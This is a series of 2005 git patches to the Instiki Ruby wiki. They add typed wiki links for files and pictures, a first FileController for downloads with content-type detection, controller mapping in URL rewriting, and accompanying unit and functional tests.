2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 00:39:03 +0000 Subject: [PATCH 079/529] Wiki link (square brackets) now knows its type (show, file or pic), and does not mess up with Textile link hyperlink syntax --- app/models/chunks/wiki.rb | 69 ++++++++++++++++++++++++++--------- test/unit/chunks/wiki_test.rb | 49 ++++++++++++++++++++++++- 2 files changed, 98 insertions(+), 20 deletions(-) diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index aa834d6b..978c3b1e 100755 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -3,14 +3,31 @@ require 'chunks/chunk' require 'chunks/wiki' require 'cgi' -# Contains all the methods for finding and replacing wiki related -# links. +# Contains all the methods for finding and replacing wiki related links. module WikiChunk include Chunk # A wiki link is the top-level class for anything that refers to # another wiki page. class WikiLink < Chunk::Abstract + + def self.apply_to(content) + content.gsub!( self.pattern ) do |matched_text| + chunk = self.new($~) + if chunk.textile_url? + # do not substitute + matched_text + else + content.chunks << chunk + chunk.mask(content) + end + end + end + + def textile_url? + not @textile_link_suffix.nil? + end + # By default, no escaped text def escaped_text() nil end @@ -31,6 +48,7 @@ module WikiChunk content.page_link(page_name, $1) end end + end # This chunk matches a WikiWord. WikiWords can be escaped @@ -39,9 +57,9 @@ module WikiChunk # The +page_name+ method returns the matched WikiWord. class Word < WikiLink unless defined? WIKI_LINK - WIKI_WORD = Regexp.new('(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8") + WIKI_WORD = Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8") end - + def self.pattern WIKI_WORD end @@ -50,8 +68,7 @@ module WikiChunk def initialize(match_data) super(match_data) - @escape = match_data[1] - @page_name = match_data[2] + @textile_link_suffix, @escape, @page_name = match_data[1..3] end def escaped_text() (@escape.nil? ? nil : page_name) end @@ -69,25 +86,41 @@ module WikiChunk # a WikiWords can be a substring of a WikiLink. class Link < WikiLink - WIKI_LINK = /\[\[([^\]]+)\]\]/ unless defined? WIKI_LINK - ALIASED_LINK_PATTERN = - Regexp.new('^(.*)?\|(.*)$', 0, 'utf-8') unless defined? ALIASED_LINK_PATTERN - + unless defined? WIKI_LINK + WIKI_LINK = /(":)?\[\[([^\]]+)\]\]/ + LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic))$', 0, 'utf-8') + ALIAS_SEPARATION = Regexp.new('^(.+)\|(.+)$', 0, 'utf-8') + end + def self.pattern() WIKI_LINK end - attr_reader :page_name, :link_text + + attr_reader :page_name, :link_text, :link_type def initialize(match_data) super(match_data) - # If the like is aliased, set the page name to the first bit - # and the link text to the second, otherwise set both to the - # contents of the double brackets. - if match_data[1] =~ ALIASED_LINK_PATTERN - @page_name, @link_text = $1, $2 - else - @page_name, @link_text = match_data[1], match_data[1] + @textile_link_suffix, @page_name = match_data[1..2] + + # defaults + @link_type = 'show' + @link_text = @page_name + + # if link wihin the brackets has a form of [[filename:file]] or [[filename:pic]], + # this means a link to a picture or a file + link_type_match = LINK_TYPE_SEPARATION.match(@page_name) + if link_type_match + @link_text = @page_name = link_type_match[1] + @link_type = link_type_match[2..3].compact[0] end + + # link text may be different from page name. this will look like [[actual page|link text]] + alias_match = ALIAS_SEPARATION.match(@page_name) + if alias_match + @page_name, @link_text = alias_match[1..2] + end + # note that [[filename|link text:file]] is also supported end end + end diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb index 8b435c83..600d9350 100755 --- a/test/unit/chunks/wiki_test.rb +++ b/test/unit/chunks/wiki_test.rb @@ -2,9 +2,15 @@ require File.dirname(__FILE__) + '/../../test_helper' require 'chunks/wiki' -require 'chunks/match' class WikiTest < Test::Unit::TestCase + + class ContentStub < String + def chunks + @chunks ||= [] + end + end + include ChunkMatch def test_simple @@ -30,7 +36,46 @@ class WikiTest < Test::Unit::TestCase end def test_textile_link - assert_no_match(WikiChunk::Word.pattern, '"Here is a special link":SpecialLink') + textile_link = ContentStub.new('"Here is a special link":SpecialLink') + WikiChunk::Word.apply_to(textile_link) + assert_equal '"Here is a special link":SpecialLink', textile_link + assert textile_link.chunks.empty? + end + + def test_file_types + # only link + assert_link_parsed_as 'only text', 'only text', 'show', '[[only text]]' + # link and text + assert_link_parsed_as 'page name', 'link text', 'show', '[[page name|link text]]' + # link and type (file) + assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'file', '[[foo.tar.gz:file]]' + # link and type (pic) + assert_link_parsed_as 'foo.tar.gz', 'foo.tar.gz', 'pic', '[[foo.tar.gz:pic]]' + # link, text and type + assert_link_parsed_as 'foo.tar.gz', 'FooTar', 'file', '[[foo.tar.gz|FooTar:file]]' + + # NEGATIVE TEST CASES + + # empty page name + assert_link_parsed_as '|link text?', '|link text?', 'file', '[[|link text?:file]]' + # empty link text + assert_link_parsed_as 'page name?|', 'page name?|', 'file', '[[page name?|:file]]' + # empty link type + assert_link_parsed_as 'page name', 'link?:', 'show', '[[page name|link?:]]' + # unknown link type + assert_link_parsed_as 'page name:create_system', 'page name:create_system', 'show', + '[[page name:create_system]]' + end + + def assert_link_parsed_as(expected_page_name, expected_link_text, expected_link_type, link) + link_to_file = ContentStub.new(link) + WikiChunk::Link.apply_to(link_to_file) + chunk = link_to_file.chunks.last + assert chunk + assert_equal expected_page_name, chunk.page_name + assert_equal expected_link_text, chunk.link_text + assert_equal expected_link_type, chunk.link_type end end + From dcd63ff40814513067a7441fd0ac0738676471c2 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 00:42:43 +0000 Subject: [PATCH 080/529] Dcumented the last change in the CHANGELOG --- CHANGELOG | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG b/CHANGELOG index 602c1dea..92361d73 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,6 @@ HEAD: + Wiki link syntax doesn't conflict with Textile hyperlink syntax. Therefore + "textile link":LinkToSomePlace will not look insane. Instiki can serve static content (such as HTML or plain-text files) from ./public directory Wiki search handles multibyte (UTF-8) characters correctly From 26878462f33d7e56f580ee4cdd7cc4f83324d74a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 00:54:44 +0000 Subject: [PATCH 081/529] Extracted two methods from WikiChunk::Link constructor (it was too long) --- app/models/chunks/wiki.rb | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index 978c3b1e..f6b20e83 100755 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -106,21 +106,31 @@ module WikiChunk @link_type = 'show' @link_text = @page_name - # if link wihin the brackets has a form of [[filename:file]] or [[filename:pic]], - # this means a link to a picture or a file + separate_link_type + separate_alias + end + + private + + # if link wihin the brackets has a form of [[filename:file]] or [[filename:pic]], + # this means a link to a picture or a file + def separate_link_type link_type_match = LINK_TYPE_SEPARATION.match(@page_name) if link_type_match @link_text = @page_name = link_type_match[1] @link_type = link_type_match[2..3].compact[0] end - - # link text may be different from page name. this will look like [[actual page|link text]] + end + + # link text may be different from page name. this will look like [[actual page|link text]] + def separate_alias alias_match = ALIAS_SEPARATION.match(@page_name) if alias_match @page_name, @link_text = alias_match[1..2] end # note that [[filename|link text:file]] is also supported - end + end + end - + end From 71407f9b9fe690e73262dce6da1c3e1fdebeb3db Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 01:15:09 +0000 Subject: [PATCH 082/529] removed a redundant method from WikiController --- app/controllers/wiki_controller.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 609fde34..58b4dc67 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -403,10 +403,6 @@ class WikiController < ApplicationController @template.render_file(template_name) end - def template_engine(template_name) - ERB.new(IO.readlines(RAILS_ROOT + '/app/views/' + template_name + '.rhtml').join) - end - def truncate(text, length = 30, truncate_string = '...') if text.length > length then text[0..(length - 3)] + truncate_string else text end end From 12a34823a8d8aa9767b72673ea41bd63170979d3 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 01:35:00 +0000 Subject: [PATCH 083/529] Beginnings of a FileController (serving the file upload feature) --- app/controllers/application.rb | 26 ++++++++++++++++++++- app/controllers/file_controller.rb | 30 +++++++++++++++++++++++++ app/controllers/wiki_controller.rb | 25 --------------------- test/functional/file_controller_test.rb | 24 ++++++++++++++++++++ test/test_helper.rb | 4 ++++ 5 files changed, 83 insertions(+), 26 deletions(-) create mode 100644 app/controllers/file_controller.rb create mode 100644 test/functional/file_controller_test.rb diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 2540e8a3..1aec04b6 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -7,7 +7,7 @@ class ApplicationController < ActionController::Base # implements Instiki's legacy URLs require 'url_rewriting_hack' - before_filter :set_utf8_http_header + before_filter :set_utf8_http_header, :connect_to_model after_filter :remember_location # For injecting a different wiki model implementation. Intended for use in tests @@ -58,4 +58,28 @@ class ApplicationController < ActionController::Base @response.headers['Content-Type'] = 'text/html; charset=UTF-8' end + def connect_to_model + @action_name = @params['action'] || 'index' + @web_name = @params['web'] + @wiki = wiki + @web = @wiki.webs[@web_name] unless @web_name.nil? + @page_name = @params['id'] + @page = @wiki.read_page(@web_name, @page_name) unless @page_name.nil? + @author = cookies['author'] || 'AnonymousCoward' + check_authorization(@action_name) + end + + def check_authorization(action_name) + if in_a_web? and + not authorized? and + not %w( login authenticate published ).include?(action_name) + redirect_to :action => 'login' + return false + end + end + + def in_a_web? + not @web_name.nil? + end + end diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb new file mode 100644 index 00000000..72feb649 --- /dev/null +++ b/app/controllers/file_controller.rb @@ -0,0 +1,30 @@ +require 'application' +class FileController < ApplicationController + + layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex, :export_tex, :export_html] + + def file + if have_file?(@params['id']) + render_text 'Download file' + else + render_text 'form' + end + end + + private + + def have_file?(file_name) + sanitize_file_name(file_name) + @wiki.storage_path + end + + SANE_FILE_NAME = /[-_A-Za-z0-9]{1,255}/ + def sanitize_file_name(file_name) + unless file_name =~ SANE_FILE_NAME + raise "Invalid file name: '#{file_name}'.\n" + + "Only latin characters, digits, underscores and dashes are accepted." + end + end + +end + diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 58b4dc67..ccd97eb0 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -5,7 +5,6 @@ require 'redcloth_for_tex' class WikiController < ApplicationController layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex, :export_tex, :export_html] - before_filter :pre_process def index if @web_name @@ -271,15 +270,6 @@ class WikiController < ApplicationController password_check(@params['password']) end - def check_authorization(action_name) - if in_a_web? and - not authorized? and - not %w( login authenticate published ).include?(action_name) - redirect_to :action => 'login' - return false - end - end - def convert_tex_to_pdf(tex_path) # TODO remove earlier PDF files with the same prefix # TODO handle gracefully situation where pdflatex is not available @@ -329,10 +319,6 @@ class WikiController < ApplicationController @revision = @page.revisions[@params['rev'].to_i] end - def in_a_web? - not @web_name.nil? - end - def parse_category @categories = @web.categories @category = @params['category'] @@ -361,17 +347,6 @@ class WikiController < ApplicationController end end - def pre_process - @action_name = @params['action'] || 'index' - @web_name = @params['web'] - @wiki = wiki - @web = @wiki.webs[@web_name] unless @web_name.nil? - @page_name = @params['id'] - @page = @wiki.read_page(@web_name, @page_name) unless @page_name.nil? - @author = cookies['author'] || 'AnonymousCoward' - check_authorization(@action_name) - end - def redirect_show(page_name = @page_name, web = @web_name) redirect_to :web => web, :action => 'show', :id => CGI.escape(page_name) end diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb new file mode 100644 index 00000000..129355f3 --- /dev/null +++ b/test/functional/file_controller_test.rb @@ -0,0 +1,24 @@ +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'file_controller' + +# Raise errors beyond the default web-based presentation +class FileController; def rescue_action(e) logger.error(e); raise e end; end + +class FileControllerTest < Test::Unit::TestCase + + def setup + setup_test_wiki + setup_controller_test + end + + def tear_down + tear_down_wiki + end + + def test_file + process 'file', 'id' => 'foo.tgz' + end + +end diff --git a/test/test_helper.rb b/test/test_helper.rb index d01d38bd..b94a178c 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -54,6 +54,10 @@ class WikiServiceWithNoPersistence def initialize init_wiki_service end + + def storage_path + RAILS_ROOT + '/storage/test' + end end From 9d90901cd0b9f63431ae60e12b1dcede0245d136 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 01:57:05 +0000 Subject: [PATCH 084/529] URI rewriting to determine a controller based on an action name --- app/controllers/file_controller.rb | 1 + libraries/url_rewriting_hack.rb | 25 ++++++++++++++++++++++++- test/unit/url_rewriting_hack_test.rb | 16 ++++++++++++++++ 3 files changed, 41 insertions(+), 1 deletion(-) diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index 72feb649..006797db 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -1,4 +1,5 @@ require 'application' + class FileController < ApplicationController layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex, :export_tex, :export_html] diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb index 2d8ffbc1..f7708f5d 100755 --- a/libraries/url_rewriting_hack.rb +++ b/libraries/url_rewriting_hack.rb @@ -6,7 +6,7 @@ # In Instiki URLs are mapped to the ActionPack actions, possibly performed on a particular # web (sub-wiki) and page within that web. # -# 1. Controller is always 'wiki' +# 1. Controller is determined by action name (default is 'wiki') # 2. '/name1/' maps to action 'name1', unspecified web # Example: http://localhost/new_system/ # 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address @@ -24,6 +24,16 @@ require 'dispatcher' class DispatchServlet def self.parse_uri(path) + result = parse_path(path) + if result + result[:controller] = ActionMapper.map_to_controller(result[:action]) + result + else + false + end + end + + def self.parse_path(path) ApplicationController.logger.debug "Parsing URI '#{path}'" component = '([-_a-zA-Z0-9]+)' page_name = '(.*)' @@ -48,6 +58,19 @@ class DispatchServlet line end end + + class ActionMapper + + @@action_to_controller_map = { + 'file' => 'file', + 'pic' => 'file' + } + + def self.map_to_controller(action) + @@action_to_controller_map[action] || 'wiki' + end + + end end diff --git a/test/unit/url_rewriting_hack_test.rb b/test/unit/url_rewriting_hack_test.rb index 008fd0d7..cf615727 100755 --- a/test/unit/url_rewriting_hack_test.rb +++ b/test/unit/url_rewriting_hack_test.rb @@ -72,5 +72,21 @@ class UrlRewritingHackTest < Test::Unit::TestCase assert_equal 'http://test.host/', ur.rewrite(:controller => 'wiki') end + + def test_controller_mapping + request = ActionController::TestRequest.new + ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') + + assert_equal 'http://test.host/file', + ur.rewrite(:controller => 'file', :action => 'file') + assert_equal 'http://test.host/pic/abc.jpg', + ur.rewrite(:controller => 'file', :action => 'pic', :id => 'abc.jpg') + assert_equal 'http://test.host/web/pic/abc.jpg', + ur.rewrite(:web => 'web', :controller => 'file', :action => 'pic', :id => 'abc.jpg') + + # default option is wiki + assert_equal 'http://test.host/unknown_action', + ur.rewrite(:controller => 'wiki', :action => 'unknown_action') + end end \ No newline at end of file From e9a419c40fb084001faf9e69902adc8c003906ce Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 02:49:52 +0000 Subject: [PATCH 085/529] File download (primitive implementation) --- app/controllers/application.rb | 56 ++++++++++++++----------- app/controllers/file_controller.rb | 36 +++++++++++----- app/controllers/wiki_controller.rb | 17 +++----- app/models/wiki_service.rb | 15 ++++--- test/functional/file_controller_test.rb | 2 +- test/test_helper.rb | 2 +- 6 files changed, 73 insertions(+), 55 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 1aec04b6..3dfd3923 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -25,12 +25,38 @@ class ApplicationController < ActionController::Base protected - def wiki - $instiki_wiki_service + def authorized? + @web.nil? || + @web.password.nil? || + cookies['web_address'] == @web.password || + password_check(@params['password']) + end + + def check_authorization + if in_a_web? and + not authorized? and + not %w( login authenticate published ).include?(@action_name) + redirect_to :action => 'login' + return false + end + end + + def connect_to_model + @action_name = @params['action'] || 'index' + @web_name = @params['web'] + @wiki = wiki + @web = @wiki.webs[@web_name] unless @web_name.nil? + @page_name = @file_name = @params['id'] + @page = @wiki.read_page(@web_name, @page_name) unless @page_name.nil? + @author = cookies['author'] || 'AnonymousCoward' + check_authorization + end + + def in_a_web? + not @web_name.nil? end @@REMEMBER_NOT = ['locked', 'save'] - def remember_location if @response.headers['Status'] == '200 OK' unless @@REMEMBER_NOT.include? action_name or @request.method != :get @@ -58,28 +84,8 @@ class ApplicationController < ActionController::Base @response.headers['Content-Type'] = 'text/html; charset=UTF-8' end - def connect_to_model - @action_name = @params['action'] || 'index' - @web_name = @params['web'] - @wiki = wiki - @web = @wiki.webs[@web_name] unless @web_name.nil? - @page_name = @params['id'] - @page = @wiki.read_page(@web_name, @page_name) unless @page_name.nil? - @author = cookies['author'] || 'AnonymousCoward' - check_authorization(@action_name) - end - - def check_authorization(action_name) - if in_a_web? and - not authorized? and - not %w( login authenticate published ).include?(action_name) - redirect_to :action => 'login' - return false - end - end - - def in_a_web? - not @web_name.nil? + def wiki + $instiki_wiki_service end end diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index 006797db..cd60f1cc 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -1,31 +1,45 @@ +require 'fileutils' require 'application' +require 'instiki_errors' class FileController < ApplicationController layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex, :export_tex, :export_html] def file - if have_file?(@params['id']) - render_text 'Download file' - else + if have_file? + send_file(file_path) + else render_text 'form' end end private - def have_file?(file_name) - sanitize_file_name(file_name) - @wiki.storage_path + def have_file? + sanitize_file_name + File.file?(file_path) end SANE_FILE_NAME = /[-_A-Za-z0-9]{1,255}/ - def sanitize_file_name(file_name) - unless file_name =~ SANE_FILE_NAME - raise "Invalid file name: '#{file_name}'.\n" + - "Only latin characters, digits, underscores and dashes are accepted." + + def sanitize_file_name + raise Instiki::ValidationError.new("Invalid path") unless @file_name + unless @file_name =~ SANE_FILE_NAME + raise ValidationError.new("Invalid file name: '#{@file_name}'.\n" + + "Only latin characters, digits, underscores and dashes are accepted.") end end -end + def file_area + raise Instiki::ValidationError.new("Invalid path") unless @web_name + file_area = File.expand_path("#{@wiki.storage_path}/#{@web_name}") + FileUtils.mkdir_p(file_area) unless File.directory?(file_area) + file_area + end + def file_path + "#{file_area}/#{@file_name}" + end + +end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index ccd97eb0..4bff91b0 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -80,7 +80,7 @@ class WikiController < ApplicationController def export_pdf file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}" - file_path = WikiService.storage_path + file_name + file_path = @wiki.storage_path + file_name export_web_to_tex "#{file_path}.tex" unless FileTest.exists? "#{file_path}.tex" convert_tex_to_pdf "#{file_path}.tex" @@ -89,7 +89,7 @@ class WikiController < ApplicationController def export_tex file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}.tex" - file_path = WikiService.storage_path + file_name + file_path = @wiki.storage_path + file_name export_web_to_tex(file_path) unless FileTest.exists?(file_path) send_file(file_path) @@ -182,7 +182,7 @@ class WikiController < ApplicationController page = wiki.read_page(@web_name, @page_name) safe_page_name = @page.name.gsub(/\W/, '') file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime('%Y-%m-%d-%H-%M-%S')}" - file_path = WikiService.storage_path + file_name + file_path = @wiki.storage_path + file_name export_page_to_tex(file_path + '.tex') unless FileTest.exists?(file_path + '.tex') # NB: this is _very_ slow @@ -263,13 +263,6 @@ class WikiController < ApplicationController private - def authorized? - @web.nil? || - @web.password.nil? || - cookies['web_address'] == @web.password || - password_check(@params['password']) - end - def convert_tex_to_pdf(tex_path) # TODO remove earlier PDF files with the same prefix # TODO handle gracefully situation where pdflatex is not available @@ -285,7 +278,7 @@ class WikiController < ApplicationController file_prefix = "#{@web.address}-#{file_type}-" timestamp = @web.revised_on.strftime('%Y-%m-%d-%H-%M-%S') - file_path = WikiService.storage_path + file_prefix + timestamp + '.zip' + file_path = @wiki.storage_path + file_prefix + timestamp + '.zip' tmp_path = "#{file_path}.tmp" Zip::ZipOutputStream.open(tmp_path) do |zip_out| @@ -305,7 +298,7 @@ class WikiController < ApplicationController EOL end end - FileUtils.rm_rf(Dir[WikiService.storage_path + file_prefix + '*.zip']) + FileUtils.rm_rf(Dir[@wiki.storage_path + file_prefix + '*.zip']) FileUtils.mv(tmp_path, file_path) send_file(file_path, :type => 'application/zip') end diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index 96b3afb9..baf64c18 100755 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -90,6 +90,10 @@ module AbstractWikiService @webs[web_address].add_page(page) page end + + def storage_path + self.class.storage_path + end private def settings_changed?(web, markup, safe_mode, brackets_only) @@ -106,19 +110,20 @@ class WikiService # These methods do not change the state of persistent objects, and # should not be ogged by Madeleine - automatic_read_only :authenticate, :read_page, :setup?, :webs + automatic_read_only :authenticate, :read_page, :setup?, :webs, :storage_path @@storage_path = './storage/' class << self - def storage_path - @@storage_path - end - + def storage_path=(storage_path) @@storage_path = storage_path end + def storage_path + @@storage_path + end + def clean_storage MadeleineServer.clean_storage(self) end diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index 129355f3..2e426855 100644 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -18,7 +18,7 @@ class FileControllerTest < Test::Unit::TestCase end def test_file - process 'file', 'id' => 'foo.tgz' + process 'file', 'web' => 'wiki', 'id' => 'foo.tgz' end end diff --git a/test/test_helper.rb b/test/test_helper.rb index b94a178c..7997b094 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -56,7 +56,7 @@ class WikiServiceWithNoPersistence end def storage_path - RAILS_ROOT + '/storage/test' + RAILS_ROOT + '/storage/test/' end end From c30989c7ebc1dca2bf739ca47a314b0d0f6e30cf Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 14:58:43 +0000 Subject: [PATCH 086/529] Actions that send files to browser smartly determine content-type HTTP header by the file name extnsion --- app/controllers/application.rb | 15 ++++++++++++++ app/controllers/file_controller.rb | 13 ++++++------ app/controllers/wiki_controller.rb | 12 +++++------ app/views/file/file.rhtml | 3 +++ test/functional/file_controller_test.rb | 27 +++++++++++++++++++++++++ test/functional/wiki_controller_test.rb | 8 ++++---- 6 files changed, 62 insertions(+), 16 deletions(-) create mode 100644 app/views/file/file.rhtml diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 3dfd3923..a6200043 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -52,6 +52,21 @@ class ApplicationController < ActionController::Base check_authorization end + FILE_TYPES = { + '.exe' => 'application/octet-stream', + '.gif' => 'image/gif', + '.jpg' => 'image/jpeg', + '.pdf' => 'application/pdf', + '.png' => 'image/png', + '.txt' => 'text/plain', + '.zip' => 'application/zip' + } + + def send_file(file, options = {}) + options[:type] ||= (FILE_TYPES[File.extname(file)] || 'application/octet-stream') + super(file, options) + end + def in_a_web? not @web_name.nil? end diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index cd60f1cc..f3bc9e5d 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -4,18 +4,19 @@ require 'instiki_errors' class FileController < ApplicationController - layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex, :export_tex, :export_html] + layout 'default' def file if have_file? send_file(file_path) else - render_text 'form' + logger.debug("File not found: #{file_path}") + # to template, which is a file upload form end end - + private - + def have_file? sanitize_file_name File.file?(file_path) @@ -24,7 +25,7 @@ class FileController < ApplicationController SANE_FILE_NAME = /[-_A-Za-z0-9]{1,255}/ def sanitize_file_name - raise Instiki::ValidationError.new("Invalid path") unless @file_name + raise Instiki::ValidationError.new("Invalid path: no file name") unless @file_name unless @file_name =~ SANE_FILE_NAME raise ValidationError.new("Invalid file name: '#{@file_name}'.\n" + "Only latin characters, digits, underscores and dashes are accepted.") @@ -32,7 +33,7 @@ class FileController < ApplicationController end def file_area - raise Instiki::ValidationError.new("Invalid path") unless @web_name + raise Instiki::ValidationError.new("Invalid path: no web name") unless @web_name file_area = File.expand_path("#{@wiki.storage_path}/#{@web_name}") FileUtils.mkdir_p(file_area) unless File.directory?(file_area) file_area diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 4bff91b0..c1676dd5 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -84,7 +84,7 @@ class WikiController < ApplicationController export_web_to_tex "#{file_path}.tex" unless FileTest.exists? "#{file_path}.tex" convert_tex_to_pdf "#{file_path}.tex" - send_file("#{file_path}.pdf") + send_file "#{file_path}.pdf" end def export_tex @@ -92,7 +92,7 @@ class WikiController < ApplicationController file_path = @wiki.storage_path + file_name export_web_to_tex(file_path) unless FileTest.exists?(file_path) - send_file(file_path) + send_file file_path end def feeds @@ -184,10 +184,10 @@ class WikiController < ApplicationController file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime('%Y-%m-%d-%H-%M-%S')}" file_path = @wiki.storage_path + file_name - export_page_to_tex(file_path + '.tex') unless FileTest.exists?(file_path + '.tex') + export_page_to_tex("#{file_path}.tex") unless FileTest.exists?("#{file_path}.tex") # NB: this is _very_ slow - convert_tex_to_pdf(file_path + '.tex') - send_file(file_path + '.pdf') + convert_tex_to_pdf("#{file_path}.tex") + send_file "#{file_path}.pdf" end def print @@ -300,7 +300,7 @@ class WikiController < ApplicationController end FileUtils.rm_rf(Dir[@wiki.storage_path + file_prefix + '*.zip']) FileUtils.mv(tmp_path, file_path) - send_file(file_path, :type => 'application/zip') + send_file file_path end def export_web_to_tex(file_path) diff --git a/app/views/file/file.rhtml b/app/views/file/file.rhtml new file mode 100644 index 00000000..0757e666 --- /dev/null +++ b/app/views/file/file.rhtml @@ -0,0 +1,3 @@ +

    +TODO: Here should be a form for uploading files to Instiki +

    \ No newline at end of file diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index 2e426855..2efa70ff 100644 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -2,12 +2,16 @@ require File.dirname(__FILE__) + '/../test_helper' require 'file_controller' +require 'fileutils' # Raise errors beyond the default web-based presentation class FileController; def rescue_action(e) logger.error(e); raise e end; end class FileControllerTest < Test::Unit::TestCase + FILE_AREA = RAILS_ROOT + '/storage/test/wiki' + FileUtils.mkdir_p(FILE_AREA) unless File.directory?(FILE_AREA) + def setup setup_test_wiki setup_controller_test @@ -19,6 +23,29 @@ class FileControllerTest < Test::Unit::TestCase def test_file process 'file', 'web' => 'wiki', 'id' => 'foo.tgz' + + assert_success + assert_rendered_file 'file/file' + end + + def test_file_download_text_file + File.open(FILE_AREA + '/foo.txt', 'wb') { |f| f.write "aaa\nbbb\n" } + + r = process 'file', 'web' => 'wiki', 'id' => 'foo.txt' + + assert_success + assert_equal "aaa\nbbb\n", r.binary_content + assert_equal 'text/plain', r.headers['Content-Type'] + end + + def test_file_download_pdf_file + File.open(FILE_AREA + '/foo.pdf', 'wb') { |f| f.write "aaa\nbbb\n" } + + r = process 'file', 'web' => 'wiki', 'id' => 'foo.pdf' + + assert_success + assert_equal "aaa\nbbb\n", r.binary_content + assert_equal 'application/pdf', r.headers['Content-Type'] end end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 03cc3796..9ec23832 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -2,7 +2,7 @@ # Uncomment the line below to enable pdflatex tests; don't forget to comment them again # commiting to SVN -# $INSTIKI_TEST_PDFLATEX = true +$INSTIKI_TEST_PDFLATEX = true require File.dirname(__FILE__) + '/../test_helper' require 'wiki_controller' @@ -181,7 +181,7 @@ class WikiControllerTest < Test::Unit::TestCase def test_export_pdf r = process 'export_pdf', 'web' => 'wiki1' assert_success - assert_equal 'application/octet_stream', r.headers['Content-Type'] + assert_equal 'application/pdf', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, r.headers['Content-Disposition'] content = r.binary_content @@ -202,7 +202,7 @@ class WikiControllerTest < Test::Unit::TestCase r = process 'export_tex', 'web' => 'wiki1' assert_success - assert_equal 'application/octet_stream', r.headers['Content-Type'] + assert_equal 'application/octet-stream', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.tex"/, r.headers['Content-Disposition'] content = r.binary_content @@ -310,7 +310,7 @@ class WikiControllerTest < Test::Unit::TestCase assert_equal '%PDF', content[0..3] assert_equal "EOF\n", content[-4..-1] - assert_equal 'application/octet_stream', r.headers['Content-Type'] + assert_equal 